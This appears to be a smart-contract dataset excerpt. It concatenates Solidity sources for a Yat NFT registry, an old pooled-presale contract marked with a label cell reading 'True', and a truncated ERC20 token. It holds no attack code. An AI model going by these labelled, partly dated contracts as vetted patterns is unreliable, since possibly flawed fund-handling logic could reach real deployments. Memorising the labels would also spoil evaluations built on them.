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/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface Receiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}
contract Metadata {
string public name = "Yat NFT (preview)";
string public symbol = "Yats";
function contractURI() external pure returns (string memory) {
return "";
}
function baseTokenURI() public pure returns (string memory) {
return "https://a.yat.fyi/nft_transfers/metadata/";
}
function tokenURI(uint256 _tokenId) external pure returns (string memory) {
bytes memory _base = bytes(baseTokenURI());
uint256 _digits = 1;
uint256 _n = _tokenId;
while (_n > 9) {
_n /= 10;
_digits++;
}
bytes memory _uri = new bytes(_base.length + _digits);
for (uint256 i = 0; i < _uri.length; i++) {
if (i < _base.length) {
_uri[i] = _base[i];
} else {
uint256 _dec = (_tokenId / (10**(_uri.length - i - 1))) % 10;
_uri[i] = bytes1(uint8(_dec) + 48);
}
}
return string(_uri);
}
}
contract YAT {
address constant private USE_GLOBAL_SIGNER = address(type(uint160).max);
struct User {
uint256 balance;
mapping(uint256 => uint256) list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address cosigner;
address approved;
address pointsTo;
address resolvesTo;
string token;
uint256 records;
mapping(uint256 => bytes32) keys;
mapping(bytes32 => string) values;
mapping(bytes32 => uint256) indexOf;
uint256 nonce;
}
struct Info {
uint256 totalSupply;
mapping(uint256 => Token) list;
mapping(bytes32 => uint256) idOf;
mapping(bytes32 => string) dictionary;
mapping(address => string) resolve;
mapping(address => User) users;
Metadata metadata;
address owner;
address signer;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, bytes32 indexed tokenHash, string token);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Mint(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token);
event Burn(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token);
event RecordUpdated(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key, string value);
event RecordAdded(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key);
event RecordDeleted(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key);
modifier _onlyOwner() {
require(msg.sender == owner());
_;
}
modifier _onlyTokenOwner(uint256 _tokenId) {
require(msg.sender == ownerOf(_tokenId));
_;
}
modifier _onlyTokenOwnerOrCosigner(uint256 _tokenId) {
require(msg.sender == ownerOf(_tokenId) || msg.sender == cosignerOf(_tokenId));
_;
}
constructor(address _signer) {
info.metadata = new Metadata();
info.owner = msg.sender;
info.signer = _signer;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
}
function setOwner(address _owner) external _onlyOwner {
info.owner = _owner;
}
function setSigner(address _signer) external _onlyOwner {
info.signer = _signer;
}
function setMetadata(Metadata _metadata) external _onlyOwner {
info.metadata = _metadata;
}
function mint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) external {
require(block.timestamp < _expiry);
require(_verifyMint(_token, _account, _expiry, _signature));
_mint(_token, _account);
}
/**
* "Soft-burns" the NFT by transferring the token to the contract address.
**/
function burn(uint256 _tokenId) external _onlyTokenOwner(_tokenId) {
_transfer(msg.sender, address(this), _tokenId);
emit Burn(hashOf(tokenOf(_tokenId)), _tokenId, msg.sender, tokenOf(_tokenId));
}
function setCosigner(address _cosigner, uint256 _tokenId) public _onlyTokenOwner(_tokenId) {
info.list[_tokenId].cosigner = _cosigner;
}
function resetCosigner(uint256 _tokenId) external {
setCosigner(USE_GLOBAL_SIGNER, _tokenId);
}
function revokeCosigner(uint256 _tokenId) external {
setCosigner(address(0x0), _tokenId);
}
function setPointsTo(address _pointsTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) {
info.list[_tokenId].pointsTo = _pointsTo;
}
function resolveTo(address _resolvesTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) {
_updateResolvesTo(_resolvesTo, _tokenId);
}
function unresolve(uint256 _tokenId) external {
resolveTo(address(0x0), _tokenId);
}
function updateRecord(uint256 _tokenId, string memory _key, string memory _value, bytes memory _signature) external {
require(_verifyRecordUpdate(_tokenId, _key, _value, info.list[_tokenId].nonce++, _signature));
_updateRecord(_tokenId, _key, _value);
}
function updateRecord(uint256 _tokenId, string memory _key, string memory _value) public _onlyTokenOwnerOrCosigner(_tokenId) {
_updateRecord(_tokenId, _key, _value);
}
function deleteRecord(uint256 _tokenId, string memory _key) external {
updateRecord(_tokenId, _key, "");
}
function deleteAllRecords(uint256 _tokenId) external _onlyTokenOwnerOrCosigner(_tokenId) {
_deleteAllRecords(_tokenId);
}
function approve(address _approved, uint256 _tokenId) external _onlyTokenOwner(_tokenId) {
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function owner() public view returns (address) {
return info.owner;
}
function signer() public view returns (address) {
return info.signer;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].balance;
}
function resolve(address _account) public view returns (string memory) {
return info.resolve[_account];
}
function reverseResolve(string memory _token) public view returns (address) {
return info.list[idOf(_token)].resolvesTo;
}
function hashOf(string memory _token) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_token));
}
function idOf(string memory _token) public view returns (uint256) {
bytes32 _hash = hashOf(_token);
require(info.idOf[_hash] != 0);
return info.idOf[_hash] - 1;
}
function tokenOf(uint256 _tokenId) public view returns (string memory) {
require(_tokenId < totalSupply());
return info.list[_tokenId].token;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].owner;
}
function cosignerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
address _cosigner = info.list[_tokenId].cosigner;
if (_cosigner == USE_GLOBAL_SIGNER) {
_cosigner = signer();
}
return _cosigner;
}
function pointsTo(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].pointsTo;
}
function nonceOf(uint256 _tokenId) public view returns (uint256) {
require(_tokenId < totalSupply());
return info.list[_tokenId].nonce;
}
function recordsOf(uint256 _tokenId) public view returns (uint256) {
require(_tokenId < totalSupply());
return info.list[_tokenId].records;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function getKey(bytes32 _hash) public view returns (string memory) {
return info.dictionary[_hash];
}
function getRecord(string memory _token, string memory _key) public view returns (string memory) {
return getRecord(idOf(_token), _key);
}
function getRecord(uint256 _tokenId, string memory _key) public view returns (string memory) {
bytes32 _hash = keccak256(abi.encodePacked(_key));
return getRecord(_tokenId, _hash);
}
function getRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory) {
require(_tokenId < totalSupply());
return info.list[_tokenId].values[_hash];
}
function getFullRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory, string memory) {
return (getKey(_hash), getRecord(_tokenId, _hash));
}
function getRecords(uint256 _tokenId, bytes32[] memory _hashes) public view returns (bytes32[] memory values, bool[] memory trimmed) {
require(_tokenId < totalSupply());
uint256 _length = _hashes.length;
values = new bytes32[](_length);
trimmed = new bool[](_length);
for (uint256 i = 0; i < _length; i++) {
string memory _value = info.list[_tokenId].values[_hashes[i]];
values[i] = _stringToBytes32(_value);
trimmed[i] = bytes(_value).length > 32;
}
}
function getRecordsTable(uint256 _tokenId, uint256 _limit, uint256 _page, bool _isAsc) public view returns (bytes32[] memory hashes, bytes32[] memory keys, bool[] memory keysTrimmed, bytes32[] memory values, bool[] memory valuesTrimmed, uint256 totalRecords, uint256 totalPages) {
require(_limit > 0);
totalRecords = recordsOf(_tokenId);
if (totalRecords > 0) {
totalPages = (totalRecords / _limit) + (totalRecords % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalRecords % _limit != 0) {
_limit = totalRecords % _limit;
}
hashes = new bytes32[](_limit);
keys = new bytes32[](_limit);
keysTrimmed = new bool[](_limit);
for (uint256 i = 0; i < _limit; i++) {
hashes[i] = info.list[_tokenId].keys[_isAsc ? _offset + i : totalRecords - _offset - i - 1];
string memory _key = getKey(hashes[i]);
keys[i] = _stringToBytes32(_key);
keysTrimmed[i] = bytes(_key).length > 32;
}
} else {
totalPages = 0;
hashes = new bytes32[](0);
keys = new bytes32[](0);
keysTrimmed = new bool[](0);
}
(values, valuesTrimmed) = getRecords(_tokenId, hashes);
}
function getYAT(string memory _token) public view returns (uint256 tokenId, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) {
tokenId = idOf(_token);
( , tokenOwner, tokenCosigner, pointer, approved, nonce, records) = getYAT(tokenId);
}
function getYAT(uint256 _tokenId) public view returns (string memory token, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) {
return (tokenOf(_tokenId), ownerOf(_tokenId), cosignerOf(_tokenId), pointsTo(_tokenId), getApproved(_tokenId), nonceOf(_tokenId), recordsOf(_tokenId));
}
function getYATs(uint256[] memory _tokenIds) public view returns (bytes32[] memory tokens, address[] memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds) {
uint256 _length = _tokenIds.length;
tokens = new bytes32[](_length);
owners = new address[](_length);
cosigners = new address[](_length);
pointers = new address[](_length);
approveds = new address[](_length);
for (uint256 i = 0; i < _length; i++) {
string memory _token;
(_token, owners[i], cosigners[i], pointers[i], approveds[i], , ) = getYAT(_tokenIds[i]);
tokens[i] = _stringToBytes32(_token);
}
}
function getYATsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) {
require(_limit > 0);
totalYATs = totalSupply();
if (totalYATs > 0) {
totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalYATs % _limit != 0) {
_limit = totalYATs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalYATs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(tokens, owners, cosigners, pointers, approveds) = getYATs(tokenIds);
}
function getOwnerYATsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) {
require(_limit > 0);
totalYATs = balanceOf(_owner);
if (totalYATs > 0) {
totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalYATs % _limit != 0) {
_limit = totalYATs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalYATs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(tokens, , cosigners, pointers, approveds) = getYATs(tokenIds);
}
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) {
return (totalSupply(), balanceOf(_owner));
}
function _mint(string memory _token, address _account) internal {
uint256 _tokenId;
bytes32 _hash = hashOf(_token);
if (info.idOf[_hash] == 0) {
_tokenId = info.totalSupply++;
info.idOf[_hash] = _tokenId + 1;
Token storage _newToken = info.list[_tokenId];
_newToken.owner = _account;
_newToken.cosigner = USE_GLOBAL_SIGNER;
_newToken.token = _token;
uint256 _index = info.users[_account].balance++;
info.users[_account].indexOf[_tokenId] = _index + 1;
info.users[_account].list[_index] = _tokenId;
emit Transfer(address(0x0), _account, _tokenId);
emit Transfer(address(0x0), _account, _hash, _token);
} else {
_tokenId = idOf(_token);
info.list[_tokenId].approved = msg.sender;
_transfer(address(this), _account, _tokenId);
}
emit Mint(_hash, _tokenId, _account, _token);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
address _owner = ownerOf(_tokenId);
address _approved = getApproved(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
info.list[_tokenId].cosigner = USE_GLOBAL_SIGNER;
info.list[_tokenId].pointsTo = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(_to, address(0x0), _tokenId);
}
_updateResolvesTo(address(0x0), _tokenId);
_deleteAllRecords(_tokenId);
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].balance - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].balance--;
delete info.users[_from].indexOf[_tokenId];
uint256 _newIndex = info.users[_to].balance++;
info.users[_to].indexOf[_tokenId] = _newIndex + 1;
info.users[_to].list[_newIndex] = _tokenId;
emit Transfer(_from, _to, _tokenId);
emit Transfer(_from, _to, hashOf(tokenOf(_tokenId)), tokenOf(_tokenId));
}
function _updateResolvesTo(address _resolvesTo, uint256 _tokenId) internal {
if (_resolvesTo == address(0x0)) {
delete info.resolve[info.list[_tokenId].resolvesTo];
info.list[_tokenId].resolvesTo = _resolvesTo;
} else {
require(bytes(resolve(_resolvesTo)).length == 0);
require(info.list[_tokenId].resolvesTo == address(0x0));
info.resolve[_resolvesTo] = tokenOf(_tokenId);
info.list[_tokenId].resolvesTo = _resolvesTo;
}
}
function _updateRecord(uint256 _tokenId, string memory _key, string memory _value) internal {
require(bytes(_key).length > 0);
bytes32 _hash = keccak256(abi.encodePacked(_key));
if (bytes(getKey(_hash)).length == 0) {
info.dictionary[_hash] = _key;
}
Token storage _token = info.list[_tokenId];
if (bytes(_value).length == 0) {
_deleteRecord(_tokenId, _key, _hash);
} else {
if (_token.indexOf[_hash] == 0) {
uint256 _index = _token.records++;
_token.indexOf[_hash] = _index + 1;
_token.keys[_index] = _hash;
emit RecordAdded(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key);
}
_token.values[_hash] = _value;
}
emit RecordUpdated(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key, _value);
}
function _deleteRecord(uint256 _tokenId, string memory _key, bytes32 _hash) internal {
Token storage _token = info.list[_tokenId];
require(_token.indexOf[_hash] != 0);
uint256 _index = _token.indexOf[_hash] - 1;
bytes32 _moved = _token.keys[_token.records - 1];
_token.keys[_index] = _moved;
_token.indexOf[_moved] = _index + 1;
_token.records--;
delete _token.indexOf[_hash];
delete _token.values[_hash];
emit RecordDeleted(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key);
}
function _deleteAllRecords(uint256 _tokenId) internal {
Token storage _token = info.list[_tokenId];
while (_token.records > 0) {
bytes32 _hash = _token.keys[_token.records - 1];
_deleteRecord(_tokenId, getKey(_hash), _hash);
}
}
function _getEthSignedMessageHash(bytes32 _messageHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash));
}
function _splitSignature(bytes memory _signature) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
require(_signature.length == 65);
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := byte(0, mload(add(_signature, 96)))
}
}
function _recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) internal pure returns (address) {
(bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature);
return ecrecover(_ethSignedMessageHash, v, r, s);
}
function _verifyMint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) internal view returns (bool) {
bytes32 _hash = keccak256(abi.encodePacked("gogo", _token, _account, _expiry));
return _recoverSigner(_getEthSignedMessageHash(_hash), _signature) == signer();
}
function _verifyRecordUpdate(uint256 _tokenId, string memory _key, string memory _value, uint256 _nonce, bytes memory _signature) internal view returns (bool) {
bytes32 _hash = keccak256(abi.encodePacked(_tokenId, _key, _value, _nonce));
address _signer = _recoverSigner(_getEthSignedMessageHash(_hash), _signature);
return _signer == ownerOf(_tokenId) || _signer == cosignerOf(_tokenId);
}
function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) {
if (bytes(_in).length == 0) {
return 0x0;
}
assembly {
out := mload(add(_in, 32))
}
}
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pragma solidity ^0.4.16;
// Original author: Cintix
// Modified by: Moonlambos, yakois
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract RequestSale {
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Maximum amount of user ETH contract will accept.
uint256 public eth_cap = 500 ether;
// The minimum amount of ETH that must be deposited before the buy-in can be performed.
uint256 constant public min_required_amount = 60 ether;
// The owner's address.
address public owner;
// The crowdsale address. Can be verified at: https://request.network/#/presale.
address public sale = 0xa579E31b930796e3Df50A56829cF82Db98b6F4B3;
//Constructor. Sets the sender as the owner of the contract.
function RequestSale() {
owner = msg.sender;
}
// Allows any user to withdraw his tokens.
// Token's ERC20 address as argument as it is unknow at the time of deployement.
function perform_withdrawal(address tokenAddress) {
// Tokens must be bought
require(bought_tokens);
// Retrieve current token balance of contract
ERC20 token = ERC20(tokenAddress);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
// Store the user's token balance in a temporary variable.
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
// Update the value of tokens currently held by the contract.
contract_eth_value -= balances[msg.sender];
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any caller to get his eth refunded.
function refund_me() {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_to_withdraw = balances[msg.sender];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() {
// Only allow the owner to perform the buy in.
require(msg.sender == owner);
// Short circuit to save gas if the contract has already bought tokens.
require(!bought_tokens);
// The pre-sale address has to be set.
require(sale != 0x0);
// Throw if the contract balance is less than the minimum required amount.
require(this.balance >= min_required_amount);
// Record that the contract has bought the tokens.
bought_tokens = true;
// Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
// Transfer all the funds to the crowdsale address.
require(sale.call.value(contract_eth_value)());
}
function upgrade_cap() {
// Only the owner can raise the cap.
require(msg.sender == owner);
// Raise the cap.
eth_cap = 1000 ether;
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
// Only allow deposits if the contract hasn't already purchased the tokens.
require(!bought_tokens);
// Only allow deposits that won't exceed the contract's ETH cap.
require(this.balance + msg.value < eth_cap);
// Update records of deposited ETH to include the received amount.
balances[msg.sender] += msg.value;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.3.2 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
event Mint(address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.3.2 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.3.2 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Mint(account, amount);
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
